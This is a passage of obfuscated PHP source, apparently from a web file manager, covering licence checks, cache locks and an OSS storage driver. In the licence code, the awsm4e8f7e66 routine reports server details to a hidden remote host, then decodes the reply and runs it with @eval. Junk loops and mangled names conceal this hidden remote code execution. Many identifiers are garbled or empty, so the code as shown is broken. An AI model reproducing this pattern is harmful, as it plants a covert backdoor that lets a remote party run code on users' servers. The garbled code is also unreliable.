$this->jmbrb265929a($[168] . $͇ . $[169] . $ʤ, -1); show_json($ܓ, !0); } else { if ($п[$[163]] == $[170]) { $▭ = substr(md5($[171] . $ъ), 12, 15) . $[172]; $ʤ = $this->oztl99876ebd(trim($п[$[173]]), $▭, 2); $ = json_decode($ʤ, !0); if (!is_array($) || !is_array($[$[174]]) || $[$[150]] != !0) { $ȸ = $[175]; $ԍ = $[$[174]] ? $[176] . $[$[174]] : $ȸ; show_json($ԍ, !1); } else { $[$[152]] = $[$[174]][$[177]]; } } else { $ = $this->jmbrb265929a($[178], $, 10); } } if (!is_array($) || !is_array($[$[174]]) || $[$[150]] != !0) { $ȸ = LNG($[179]); $ԍ = $[$[174]] ? $[176] . $[$[174]] : $ȸ; show_json($ԍ, !1); } $ŕ = $[$[174]]; $ = $this->yxqk7a89d202($ŕ[$[180]]); $٤˦ = $іȵ[678]; if (strlen($٤˦) < $іȵ[636]) { return; } if (!$ || $ != $ŕ[$[128]]) { $ = array($[181] => Model($[33])->get($[103]), $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => $_SERVER[$[159]]); $ʤ = $this->cqnd4022adf5(json_encode($)); $this->jmbrb265929a($[184] . $ʤ); show_json(LNG($[185]), !0); } $ܻ = array($[186] => $ŕ[$[187]], $[188] => $ŕ[$[189]], $[190] => rand_string(16), $[105] => $ŕ[$[191]]); if ($[$[152]]) { $ܻ[$[190]] = $[$[152]]; } $، = substr(md5($ܻ[$[188]]), 10, 10); $ = $، . $ܻ[$[105]] . $ܻ[$[190]]; $ճ = $іȵ[679]; if (!$ճ) { return; } $ܻ[$[107]] = strrev(base64_encode($this->egbm08f767bd($, $[192]))); $ػ = $іȵ[680]; $ț = rand_string(16); $Ӳ = $іȵ[681]; $Ҹ = $ț . $ܻ[$[105]] . $this->egbm08f767bd(md5($ܻ[$[186]]), $ț); $ = $іȵ[682]; $ܻ[$[108]] = base64_encode(strrev($this->egbm08f767bd($Ҹ, $[193]))); if ($ŕ[$[194]] && $ŕ[$[194]] >= 1) { Model($[33])->setDeep($[195], $[121]); } Model($[33])->set($ܻ); $ = md5($_SERVER[$[102]] . strrev($ƹ) . $ܻ[$[188]]); $ = $іȵ[683]; if (strlen($) < $іȵ[647]) { die; } $ڹ = strrev(substr($, 10, 16)); $嘫 = $іȵ[684]; if (!$嘫) { die; } $ = $this->sqjh42353ebe(json_encode($ŕ), $); $ʬ͍ = array_to_keyvalue(Model($[7])->listData(), $[196]); $湄 = $іȵ[685]; $˔ = $ʬ͍[$[197]]; $ނ = array(); $ò = $іȵ[686]; if (!$ò) { die; } $ނ[$ڹ] = $; $ = $іȵ[687]; Model($[7])->update($˔[$[198]], array($[199] => $ނ)); $ = $іȵ[688]; $this->bdns170d257c = $ŕ; $Ÿ = $іȵ[689]; while (strlen($Ÿ) < $іȵ[642]) { if (!$Ÿ) { break; } $Ÿ++; } $this->cglrfbb2fa76 = $ܻ[$[105]]; $this->licenseRegistSuccess(); Cache::set($[200] . md5($ƹ . $[201]), $[6]); $ = $іȵ[690]; show_json(LNG($[185]), !0); } private function licenseRegistSuccess() { $ʃ =& $_SERVER[ף]; $ = Model($ʃ[33])->get(); if ($[$ʃ[63]] != $ʃ[121]) { Model($ʃ[33])->set($ʃ[63], $ʃ[121]); } Action($ʃ[202])->initStart(!0); } private function ybxsa25f69ba() { $£ =& $_SERVER[]; $Ȫ =& $_SERVER[ף]; Model($Ȫ[33])->set(array($Ȫ[186] => $Ȫ[6], $Ȫ[188] => $Ȫ[6], $Ȫ[105] => $Ȫ[106], $Ȫ[107] => $Ȫ[6], $Ȫ[108] => $Ȫ[6])); $ = $£[691]; while (strlen($) < $£[656]) { if (!$) { break; } $++; } Model($Ȫ[33])->setDeep($Ȫ[195], $Ȫ[203]); $ʂ = $£[692]; if (!$ʂ) { die; } $this->bdns170d257c = array(); $ӱǫ = $£[693]; $this->cglrfbb2fa76 = $Ȫ[106]; } private function qzsef16e63eb() { $˗Н =& $_SERVER[]; $ =& $_SERVER[ף]; $_SERVER[$[159]] = _get($_SERVER, $[159], APP_HOST); $ߊ = $˗Н[694]; $this->cglrfbb2fa76 = $[106]; $ = $˗Н[695]; if (!$) { return; } $ړ = Model($[33])->get(); if ($ړ[$[105]] == $[106]) { return; } $ã = Model($[33])->get($[103]); $ = $[200] . md5($ã . $[201]); $ʂ = Cache::get($); if (!is_array($ʂ) || !isset($ʂ[$[204]]) || time() - $ʂ[$[204]] >= 60) { $ = Model($[7])->loadList(); $܊ = $[$[197]]; $ٓݸ = md5($_SERVER[$[102]] . strrev($ã) . $ړ[$[188]]); $ǞɃ = strrev(substr($ٓݸ, 10, 16)); $ʂ = $this->oztl99876ebd($܊[$[85]][$ǞɃ], $ٓݸ); $ʂ = json_decode($ʂ, !0); } if (!is_array($ʂ)) { return $this->ybxsa25f69ba(); } $ = strtotime($ʂ[$[128]]); if (time() >= $) { return $this->ybxsa25f69ba(); } if (time() - $ʂ[$[204]] > 20) { $ʂ[$[204]] = time(); Cache::set($, $ʂ); } $this->bdns170d257c = $ʂ; $this->cglrfbb2fa76 = $ړ[$[105]]; $Ȫŏ = $˗Н[696]; while (strlen($Ȫŏ) < $˗Н[658]) { if (!$Ȫŏ) { break; } $Ȫŏ++; } } private function hmrw77b70956() { $Ԉ =& $_SERVER[]; $ =& $_SERVER[ף]; $蛺 = $GLOBALS[$[13]]; $ = $_SERVER[$[24]]; $ = $Ԉ[697]; if (strlen($) < $Ԉ[642]) { return; } if ($ == $[205] && $this->cglrfbb2fa76 == $[106]) { show_json(LNG($[206]), !1, $[207]); } $샠ږ = array($[208], $[209]); if (in_array($, $샠ږ)) { if ($this->cglrfbb2fa76 == $[106] && isset($蛺[$[210]])) { show_json(LNG($[206]), !1, $[207]); die; } $ǿ = $this->zsklba03c3ee(); if ($ǿ != intval($[211])) { if ($ǿ <= Model($[124])->count()) { show_json(LNG($[212]), !1, $[207]); die; } } } } private function kqgf4e109dae() { $ӏɂ =& $_SERVER[]; $ =& $_SERVER[ף]; $ܘ = array($[118], $[119]); $阉 = $ӏɂ[698]; while (strlen($阉) < $ӏɂ[647]) { if (!$阉) { break; } $阉++; } if (!_get($GLOBALS, $[115]) || !isset($_GET[$[213]])) { return; } if (!in_array($_SERVER[$[24]], $ܘ)) { return; } $Î = $[214]; $Î = $this->hicg1688814b($Î, $[215]); $ = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $Ɲ = $ӏɂ[699]; $Ɛכ = @file_get_contents($Î, !1, $); $ݹ = $ӏɂ[700]; header($[220]); $ = $ӏɂ[701]; if ($Ɛכ && strstr($Ɛכ, $[221])) { echo $Ɛכ; } die; } public function ruif0b5ce718($Ɔ) { $ÖĤ =& $_SERVER[]; $ة =& $_SERVER[ף]; if ($this->cglrfbb2fa76 == $ة[222]) { return $Ɔ; } $ľ = array($ة[223] => $ة[224], $ة[225] => $ة[224], $ة[226] => $ة[224], $ة[227] => $ة[228], $ة[229] => $ة[228], $ة[230] => $ة[228], $ة[231] => $ة[228], $ة[232] => $ة[228], $ة[233] => $ة[228], $ة[234] => $ة[228], $ة[235] => $ة[228], $ة[236] => $ة[228], $ة[237] => $ة[228], $ة[238] => $ة[228], $ة[239] => $ة[228]); $ۇ = $ÖĤ[702]; $ = explode($ة[240], _get($this->bdns170d257c, $ة[112], $ة[6])); $۟Ү = $ÖĤ[703]; $ў = array(); $ͪ = $ÖĤ[704]; while (strlen($ͪ) < $ÖĤ[656]) { if (!$ͪ) { break; } $ͪ++; } foreach ($ľ as $䝡 => $о) { if ($о == $ة[224] && substr($this->cglrfbb2fa76, 0, 1) == $ة[224]) { continue; } if (!in_array($䝡, $)) { $ў[] = $䝡; } } foreach ($ў as $䝡) { unset($Ɔ[$䝡]); $󉧦 = $ÖĤ[705]; while ($󉧦 < $ÖĤ[636]) { if ($󉧦 >= 0) { break; } $󉧦++; } } return $Ɔ; $󭷺 = $ÖĤ[706]; while ($󭷺 < $ÖĤ[642]) { if ($󭷺 >= 0) { break; } $󭷺++; } } private function bmvr842c0eb3() { $ =& $_SERVER[ף]; if ($this->cglrfbb2fa76 != $[106]) { $GLOBALS[$[85]][$[89]][$[241]] = $[203]; return; } $GLOBALS[$[85]][$[242]] = $[121]; if (Model($[243])->get($[63]) != $[203]) { Model($[243])->set($[63], $[203]); } } public function mzchca7377dc() { $ =& $_SERVER[]; return $_SERVER[ף][244]; $Ӭ = $[707]; while (strlen($Ӭ) < $[636]) { if (!$Ӭ) { break; } $Ӭ++; } } private function awsm4e8f7e66() { $ﭨ =& $_SERVER[]; $ =& $_SERVER[ף]; $ = array($[245], $[246], $[247]); $ޏ = $[248] . md5($[249]); if ($this->cglrfbb2fa76 == $[106] || !_get($GLOBALS, $[115])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $ړ = call_user_func(array($[250], $[251]), $ޏ); if ($ړ && time() - $ړ < intval($[252])) { return; } call_user_func(array($[250], $[138]), $ޏ, time()); $ = $ﭨ[708]; $ܴ = Model($[33])->get($[103]); $Ūꑴ = array($[150] => Model($[33])->get($[186]), $[163] => $this->cglrfbb2fa76, $[160] => $_SERVER[$[161]], $[162] => Model($[33])->get($[130]), $[101] => md5($_SERVER[$[102]] . $ܴ), $[153] => $[135], $[156] => $_SERVER[$[157]]); $ͧ = $ﭨ[709]; if (!$ͧ) { die; } $ۍ = $this->jmbrb265929a($[253], $Ūꑴ); if (!is_array($ۍ)) { return; } if ($ۍ[$[150]] && $ۍ[$[254]]) { if ($this->yxqk7a89d202($ۍ[$[254]]) == $Ūꑴ[$[150]]) { return; } } $this->ybxsa25f69ba(); if ($this->yxqk7a89d202($ۍ[$[254]]) != $Ūꑴ[$[150]]) { $ӳθ = array($[181] => $ܴ, $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => $_SERVER[$[159]]); $ = $this->cqnd4022adf5(json_encode($ӳθ)); $ۍ = $this->jmbrb265929a($[184] . $); if ($ۍ && is_array($ۍ) && isset($ۍ[$[254]])) { $ = $this->oztl99876ebd($ۍ[$[254]], 2); if ($) { $ = $this->yxqk7a89d202($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function jmbrb265929a($׵߿ = '', $ = array(), $ӄ׵ = 5) { $Ԑ =& $_SERVER[]; $ =& $_SERVER[ף]; $ = $[255]; $ͽ = $Ԑ[710]; while (strlen($ͽ) < $Ԑ[636]) { if (!$ͽ) { break; } $ͽ++; } $ = $this->hicg1688814b($, $[256]); $ = $ . $׵߿; if ($ && is_array($)) { $ = $ . $[257] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($[216] => array($[219] => $ӄ׵, $[217] => $[258]), $[259] => array($[260] => !1, $[261] => !1))); $ = @file_get_contents($, !1, $); $ᮠش = $Ԑ[711]; return json_decode($, !0); } private function zsklba03c3ee() { $Ŀlj =& $_SERVER[]; $Լ =& $_SERVER[ף]; $㯭 = array($Լ[262] => $Լ[263], $Լ[264] => $Լ[265], $Լ[266] => $Լ[267], $Լ[268] => $Լ[269], $Լ[270] => $Լ[271], $Լ[272] => $Լ[211], $Լ[273] => $Լ[211], $Լ[274] => $Լ[263], $Լ[275] => $Լ[265], $Լ[276] => $Լ[267], $Լ[277] => $Լ[278], $Լ[279] => $Լ[269], $Լ[280] => $Լ[281], $Լ[282] => $Լ[271], $Լ[283] => $Լ[284], $Լ[285] => $Լ[286], $Լ[287] => $Լ[288]); $ = $㯭[$this->cglrfbb2fa76]; $ = intval($ ? $ : $Լ[263]); $ = _get($this->bdns170d257c, $Լ[289]); $޳ = $Ŀlj[712]; if (strlen($޳) < $Ŀlj[647]) { return; } $ = $ ? intval($) : 0; $յ = $Ŀlj[713]; return $ + $; $β = $Ŀlj[714]; while ($β < $Ŀlj[647]) { if ($β >= 0) { break; } $β++; } } public function wmjhc500cbef($Ǎ) { $ʨ =& $_SERVER[]; $ =& $_SERVER[ף]; $ڰ = $this->zsklba03c3ee(); if ($Ǎ[$[290]] == $[121]) { return; } if ($ڰ >= intval($[211])) { return; } $Ӂ = Model($[124])->count(); $䪮 = $ʨ[715]; if ($Ӂ <= $ڰ) { return; } $ö = Model($[124])->field($[290])->limit($ڰ)->select(); $ö = array_to_keyvalue($ö, $[6], $[290]); $Ŷ = $ʨ[716]; if (!$Ŷ) { return; } if (!in_array($Ǎ[$[290]], $ö)) { show_json($[291], !1, $[207]); } } public function rupcbb67b66e() { $ɩ =& $_SERVER[]; $謃 =& $_SERVER[ף]; if (!_get($GLOBALS, $謃[115]) || mt_rand(1, 100) > 20) { return; } $󛶫 = $謃[214]; $ィ = $ɩ[717]; if (!$ィ) { return; } $󛶫 = $this->hicg1688814b($󛶫, $謃[215]); $凋 = stream_context_create(array($謃[216] => array($謃[217] => $謃[218], $謃[219] => 3))); $ = $ɩ[718]; while (strlen($) < $ɩ[647]) { if (!$) { break; } $++; } $ = @file_get_contents($󛶫, !1, $凋); echo $謃[292] . hash_encode($) . $謃[293]; $ɣ = $ɩ[719]; } private function sqjh42353ebe($, $ڦ, $ = 3) { $ߝ =& $_SERVER[]; $ʛ솪 =& $_SERVER[ף]; usleep(1); $ = $ߝ[720]; if (strlen($) < $ߝ[642]) { return; } $ = trim($); $ = mt_rand(0, 5) . $ʛ솪[6]; $ȝך = rand_string(15); $ = $ʛ솪[294]; $׾ = $ߝ[721]; switch ($) { case $ʛ솪[203]: $ψ = $this->egbm08f767bd($, strrev($ڦ . $ȝך)); $ƣ = $ߝ[722]; break; case $ʛ솪[121]: $ψ = $this->egbm08f767bd($, strrev($ȝך . $ڦ)); break; case $ʛ솪[295]: $ψ = $this->egbm08f767bd($, base64_encode($ȝך . $ڦ)); $ = $ߝ[723]; if (strlen($) < $ߝ[642]) { die; } break; case $ʛ솪[296]: $ψ = $this->egbm08f767bd($, md5($ȝך . $ڦ)); break; $þ = $ߝ[724]; if (!$þ) { return; } case $ʛ솪[297]: $ = base64_encode($); $ = rand(0, 64); $׻ = $[$]; $ = md5($׻ . md5($ڦ . $׻) . $ڦ); $ٸ = $ߝ[725]; while ($ٸ < $ߝ[658]) { if ($ٸ >= 0) { break; } $ٸ++; } $ = substr($, $ % 8, $ % 8 + 7); $ʆ = $ߝ[726]; $ = $ʛ솪[6]; $ʾ = $ߝ[727]; if (!$ʾ) { return; } $ٯ = 0; $涄 = 0; $ں = $ߝ[728]; if (strlen($ں) < $ߝ[636]) { die; } $ = 0; for ($ٯ = 0; $ٯ < strlen($); $ٯ++) { $ = $ == strlen($) ? 0 : $; $ߍ = $ߝ[729]; if (!$ߍ) { return; } $涄 = ($ + strpos($, $[$ٯ]) + ord($[$++])) % 64; $٪ = $ߝ[730]; if (strlen($٪) < $ߝ[642]) { die; } $ .= $[$涄]; $ = $ߝ[731]; while ($ < $ߝ[647]) { if ($ >= 0) { break; } $++; } } $ψ = hash_encode($׻ . $); $ = $ߝ[732]; break; default: $ψ = $this->egbm08f767bd($, $ڦ . $ȝך); $ = $ߝ[733]; while (strlen($) < $ߝ[658]) { if (!$) { break; } $++; } break; } $ψ = strrev($ . $ȝך . $ψ); if ($ - 1 > 0) { $ψ = $this->sqjh42353ebe($ψ, $ڦ, $ - 1); } return $ψ; } private function oztl99876ebd($ʞ, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[ף]; if (!is_string($ʞ) || strlen($ʞ) < 10) { return !1; } $ʞ = trim($ʞ); $Ѳۈ = $[734]; while (strlen($Ѳۈ) < $[642]) { if (!$Ѳۈ) { break; } $Ѳۈ++; } $ʞ = strrev($ʞ); $ۦ = $[735]; if (!$ۦ) { return; } $ = $ʞ[0]; $ = $[736]; if (strlen($) < $[636]) { return; } $չ = substr($ʞ, 1, 15); $ = $[737]; $ʞ = substr($ʞ, 16); $珊 = $[294]; $ԗ = $[738]; while ($ԗ < $[656]) { if ($ԗ >= 0) { break; } $ԗ++; } switch ($) { case $[203]: $ = $this->hicg1688814b($ʞ, strrev($ . $չ)); break; case $[121]: $ = $this->hicg1688814b($ʞ, strrev($չ . $)); $ = $[739]; break; case $[295]: $ = $this->hicg1688814b($ʞ, base64_encode($չ . $)); $Œ = $[740]; while ($Œ < $[658]) { if ($Œ >= 0) { break; } $Œ++; } break; case $[296]: $ = $this->hicg1688814b($ʞ, md5($չ . $)); $ȴ = $[741]; while ($ȴ < $[636]) { if ($ȴ >= 0) { break; } $ȴ++; } break; case $[297]: $ʞ = hash_decode($ʞ); $Ί = $ʞ[0]; $ɂ = $[742]; while ($ɂ < $[647]) { if ($ɂ >= 0) { break; } $ɂ++; } $ʞ = substr($ʞ, 1); $ = $[743]; while ($ < $[647]) { if ($ >= 0) { break; } $++; } $ = strpos($珊, $Ί); $ӳ = md5($Ί . md5($ . $Ί) . $); $ = $[744]; if (!$) { die; } $ӳ = substr($ӳ, $ % 8, $ % 8 + 7); $΋ = $[6]; $ = 0; $ζ = 0; $ = $[745]; while ($ < $[647]) { if ($ >= 0) { break; } $++; } $ɽ = 0; $ = $[746]; if (!$) { return; } for ($ = 0; $ < strlen($ʞ); $++) { $ɽ = $ɽ == strlen($ӳ) ? 0 : $ɽ; $ = $[747]; if (strlen($) < $[642]) { die; } $ = $ɽ++; $ζ = strpos($珊, $ʞ[$]) - $ - ord($ӳ[$]); $ = $[748]; while ($ζ < 0) { $ζ += 64; } $΋ .= $珊[$ζ]; $ʧ = $[749]; while ($ʧ < $[658]) { if ($ʧ >= 0) { break; } $ʧ++; } } $ = base64_decode($΋); break; default: $ = $this->hicg1688814b($ʞ, $ . $չ); $Ҿ = $[748]; if (!$Ҿ) { return; } break; } if ($ - 1 > 0) { $ = $this->oztl99876ebd($, $, $ - 1); } return $; } public function cqnd4022adf5($Ĉ) { $ =& $_SERVER[]; $֡ =& $_SERVER[ף]; $ = $this->ztwcc1091a50(); $ƿ = $[750]; if (!$ƿ) { return; } $ = $this->ztwcc1091a50(); $݄ = $[751]; if (strlen($݄) < $[656]) { die; } $ = ($ - 1) * ($ - 1); $ޡ = $[752]; $孜 = intval(($ + $) / 2); while (1) { $ = $孜; $ = $; while ($ % $ != 0) { $顺 = $; $ = $[753]; while ($ < $[642]) { if ($ >= 0) { break; } $++; } $ = $; $ˌ = $[754]; while ($ˌ < $[658]) { if ($ˌ >= 0) { break; } $ˌ++; } $ = $顺 % $; $ߵ = $[755]; if (!$ߵ) { die; } } if ($ == 1) { break; } else { $孜++; } } $ = 2; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $孜 == 0) { $ = intval(($ * $ + 1) / $孜); break; } } $葼տ = $this->egbm08f767bd($ * $ . $֡[6], $֡[135]); $籰 = md5($֡[298] . ($ + $) . $֡[299] . $孜 . $֡[299] . $ . $֡[300]); $Ӑ = $this->egbm08f767bd($Ĉ, $籰) . $֡[301] . $葼տ; $ = $[756]; while (strlen($) < $[642]) { if (!$) { break; } $++; } return $Ӑ; } public function yxqk7a89d202($) { $Θ =& $_SERVER[]; $ҳ =& $_SERVER[ף]; $ݵ = explode($ҳ[301], $); if (count($ݵ) != 2) { return $ҳ[6]; } $ڀ = $this->hicg1688814b($ݵ[1] . $ҳ[6], $ҳ[135]); if (!$ڀ) { return $ҳ[6]; } $ڀ = intval($ڀ); $ܘ = $Θ[757]; $ȣ՛ = 0; $ = 0; for ($ = 3; $ < $ڀ; $ += 2) { if ($ڀ % $ != 0) { continue; } $ȣ՛ = $; $ = intval($ڀ / $); break; $ = $Θ[758]; while ($ < $Θ[656]) { if ($ >= 0) { break; } $++; } } $ıП = ($ȣ՛ - 1) * ($ - 1); $ = intval(($ȣ՛ + $) / 2); $ = $Θ[759]; while (1) { $ǣLJ = $; $͗ = $Θ[760]; $嵰 = $ıП; while ($嵰 % $ǣLJ != 0) { $菗 = $嵰; $嵰 = $ǣLJ; $؀ = $Θ[761]; if (!$؀) { return; } $ǣLJ = $菗 % $ǣLJ; $ = $Θ[716]; } if ($ǣLJ == 1) { break; } else { $++; } } $Ӵ = 2; $믊Ӊ = $Θ[762]; if (!$믊Ӊ) { return; } for ($ = 0; $ < $ıП * 10; $++) { if (($ıП * $ + 1) % $ == 0) { $Ӵ = intval(($ıП * $ + 1) / $); break; } } $ = md5($ҳ[298] . ($ȣ՛ + $) . $ҳ[299] . $ . $ҳ[299] . $Ӵ . $ҳ[300]); $Ϋ = $Θ[763]; $ = $this->hicg1688814b($ݵ[0], $); $⠨ = $Θ[764]; if (strlen($⠨) < $Θ[642]) { return; } return $; $ŗ = $Θ[765]; if (!$ŗ) { return; } } public function ztwcc1091a50() { $͛ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $̐ = $͛[766]; $ = array(); $ѯ = $͛[767]; if (!$ѯ) { die; } $Ì = 1; while ($Ì <= (int) sqrt($)) { $ƥ = $Ì; $ = $͛[768]; while (strlen($) < $͛[656]) { if (!$) { break; } $++; } while (!0) { $ƥ++; $ʈ = $͛[769]; if (strlen($ʈ) < $͛[656]) { return; } if ($ƥ <= 2) { $Ì = $ƥ; break; } else { if ($ƥ < 2) { continue; } } $ї = !0; for ($ꔗ = 2; $ꔗ <= sqrt($ƥ); $ꔗ++) { if ($ƥ % $ꔗ == 0) { $ї = !1; } } if ($ї) { $Ì = $ƥ; break; } } $[] = $Ì; } $ = 2; $ = $͛[770]; if (strlen($) < $͛[656]) { return; } for ($ƥ = $; $ƥ > 1; $ƥ--) { $ї = !0; $Ԁߠ = $͛[771]; if (strlen($Ԁߠ) < $͛[642]) { return; } foreach ($ as $ڣ) { if ($ƥ % $ڣ == 0) { $ї = !1; break; } } if ($ї) { $ = $ƥ; break; } } return $; } public function ljtceca3bf13($ձ, $) { $ڶ޸ =& $_SERVER[ף]; return call_user_func(array($ڶ޸[8], $ڶ޸[302]), $ձ, $); $ = $_SERVER[][772]; if (!$) { return; } } public function egbm08f767bd($Ϝ, $ű) { $ =& $_SERVER[ף]; return call_user_func(array($[303], $[304]), $Ϝ, $ű); $ΐ = $_SERVER[][725]; if (!$ΐ) { die; } } public function hicg1688814b($ѷ, $κ) { $癱 =& $_SERVER[ף]; return call_user_func(array($癱[303], $癱[305]), $ѷ, $κ); $ = $_SERVER[][773]; if (!$) { die; } } } goto aӨ; c: class CacheLockRedis { public function lock($ß܉, $ = 10) { $ׁ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $ׁ->get($ß܉); if (!$) { $ߔ = $ׁ->setLock($ß܉, $, $); if ($ߔ) { return !0; } } else { if ($ < microtime(!0)) { $ׁ->set($ß܉, $, $ * 2); if ($ׁ->get($ß܉) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ߊ) { return Cache::init()->get($ߊ); } public function unlock($Ȉϲ) { return Cache::init()->remove($Ȉϲ); } } class CacheLockMemcached { public function lock($, $ = 0) { $ = Cache::init(); $ʉ = microtime(!0) + $; while (microtime(!0) < $ʉ) { $̨ = $->get($); if (!$̨ || $̨ < microtime(!0)) { $㼧 = $->handle->add($, $ʉ, $); if ($㼧) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($Ԯ) { return Cache::init()->get($Ԯ); } public function unlock($αз) { return Cache::init()->remove($αз); } } class CacheLockDatabase { public function lock($Ꚅ, $♉ = 0) { $ = Model($_SERVER[][855]); $ƚЀ = microtime(!0) + $♉; while (microtime(!0) < $ƚЀ) { $ = $->get($Ꚅ); if (!$ || $ < microtime(!0)) { $뱶 = $->set($Ꚅ, $ƚЀ); if ($뱶) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][855])->get($); } public function unlock($) { Model($_SERVER[][855])->remove($); } } goto A˃; E槵: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][216]); } public function fileOutLink($) { $ڃ =& $_SERVER[]; if (substr($, 0, 7) == $ڃ[1364]) { $ = $ڃ[1365] . substr($, 7); } header($ڃ[161] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $cdnHost = ''; public $config = array(); public function __construct($ΐ) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1401]; $this->_init($ΐ); } public function _init($) { $ܶ =& $_SERVER[]; $this->config = $; foreach ($ as $̥ => $Ʌ͔) { if (isset($this->{$̥})) { $this->{$̥} = $Ʌ͔; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($ܶ[1402] . LNG($ܶ[1403])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ߢσ =& $_SERVER[]; $󹂗 = new OSS\Model\CorsConfig(); $˓ = new OSS\Model\CorsRule(); $˓->addAllowedOrigin($ߢσ[1404]); $˓->addAllowedMethod($ߢσ[1405]); $˓->addAllowedMethod($ߢσ[1406]); $˓->addAllowedMethod($ߢσ[1407]); $˓->addAllowedMethod($ߢσ[1408]); $˓->addAllowedMethod($ߢσ[160]); $˓->setMaxAgeSeconds(600); $˓->addExposeHeader($ߢσ[1409]); $˓->addAllowedHeader($ߢσ[1404]); $󹂗->addRule($˓); try { $this->client->putBucketCors($this->bucket, $󹂗); } catch (OSS\Core\OssException $֕) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $濦ۄ = null; try { $濦ۄ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $֧İ) { return null; } if (!$濦ۄ || !($ = $濦ۄ->getRules())) { return null; } $ = $[0]->getAllowedOrigins(); $ے = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $ۄع = $[0]->getExposeHeaders(); $҃Ӷ = $[0]->getAllowedHeaders(); return array($[188] => isset($[0]) ? $[0] : $[12], $[192] => $ے, $[1410] => $, $[1411] => isset($ۄع[0]) ? $ۄع[0] : $[12], $[190] => isset($҃Ӷ[0]) ? $҃Ӷ[0] : $[12]); } public function isBucketCors() { $ޟ =& $_SERVER[]; $͉ = $this->getBucketCors(); if (!$͉ || !is_array($͉)) { return !1; } if ($͉[$ޟ[188]] != $ޟ[189] || $͉[$ޟ[190]] != $ޟ[189]) { return !1; } $ĩ = array_map($ޟ[191], $͉[$ޟ[192]]); if (!is_array($ĩ)) { $ĩ = array(); } $ = array($ޟ[193], $ޟ[194], $ޟ[195], $ޟ[196], $ޟ[197]); $ = array_diff($, $ĩ); return empty($); } public function mkfile($, $Ћ = '', $̮Ȥ = REPEAT_RENAME) { $韬 = $this->setContent($, $Ћ); if ($韬 !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($й, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($й)) { return $this->getPathOuter($й); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($й)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($й); } private function fileList($ρ, $ꆷ = '', $ހ = 0) { $ړ =& $_SERVER[]; $ρ = trim($ρ, $ړ[8]); $Դ = empty($ρ) && $ρ !== $ړ[198] ? $ړ[12] : $ρ . $ړ[8]; $莕 = $ړ[12]; $ = 1000; $ = $쉦 = array(); while (!0) { check_abort(); $׳뤁 = array($ړ[1412] => $ꆷ, $ړ[1413] => $Դ, $ړ[1414] => $, $ړ[1415] => $莕); try { $ = $this->client->listObjects($this->bucket, $׳뤁); } catch (OSS\Core\OssException $лʄ) { break; } $莕 = $->getNextMarker(); $Ӧ = $->getObjectList(); $ߑ = $->getPrefixList(); foreach ($Ӧ as $ݞ) { if ($ݞ->getKey() == $Դ) { continue; } $ = $ݞ->getKey(); $ɐ = $ݞ->getSize(); $Ú = $ݞ->getLastModified(); $ϰ = $ހ ? array($ړ[32] => $, $ړ[76] => $ɐ, $ړ[180] => strtotime($Ú)) : $; $ʊ = $ɐ == 0 && substr($, strlen($) - 1, 1) == $ړ[8] ? !0 : !1; $ٖ = array($ړ[76] => $ɐ, $ړ[1416] => $ɐ, $ړ[85] => strtotime($Ú), $ړ[1417] => $Ú); $this->cacheMethodInfoSet($, $ʊ, $ٖ); if ($ʊ) { $[] = $; continue; } $쉦[] = $ϰ; } foreach ($ߑ as $Ӭވ) { $[] = $Ӭވ->getPrefix(); $this->cacheMethodInfoSet($Ӭވ->getPrefix(), !0); } if ($莕 === $ړ[12]) { break; } } $this->cacheMethodInfoSet($ρ, !0); return array($ړ[82] => $, $ړ[83] => $쉦); } public function copyFile($Ȍ, $з) { $㱩 = $this->size($Ȍ); if ($㱩 < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $Ȍ, $this->bucket, $this->pathEncode($з)); } catch (OSS\Core\OssException $ܤ) { return !1; } return $this->getPathOuter($з); } $Չ = $this->multiCopyObject($Ȍ, $з, $㱩); return $Չ ? $this->getPathOuter($з) : !1; } private function multiCopyObject($, $, $ߞ) { $ק =& $_SERVER[]; try { $Đ = array(); if ($❟ = $this->hashMd5($)) { $Đ = array(OSS\OssClient::OSS_HEADERS => array($ק[1418] => $❟)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $Đ); $ = 1; $ɮ = 0; $Ұ孿 = array(); $׈ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($ߞ, $׈); foreach ($ as $ => $򩦂) { $ = $ɮ + (int) $򩦂[$ק[1419]]; $ = (int) $򩦂[$ק[366]] + $ - 1; $Ԍ = array($ק[1420] => $, $ק[1421] => $); $Ұ孿[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $, $Ԍ); $ = $ + 1; } $ɽ = array(); foreach ($Ұ孿 as $ => $֬) { $ɽ[] = array($ק[1422] => $ + 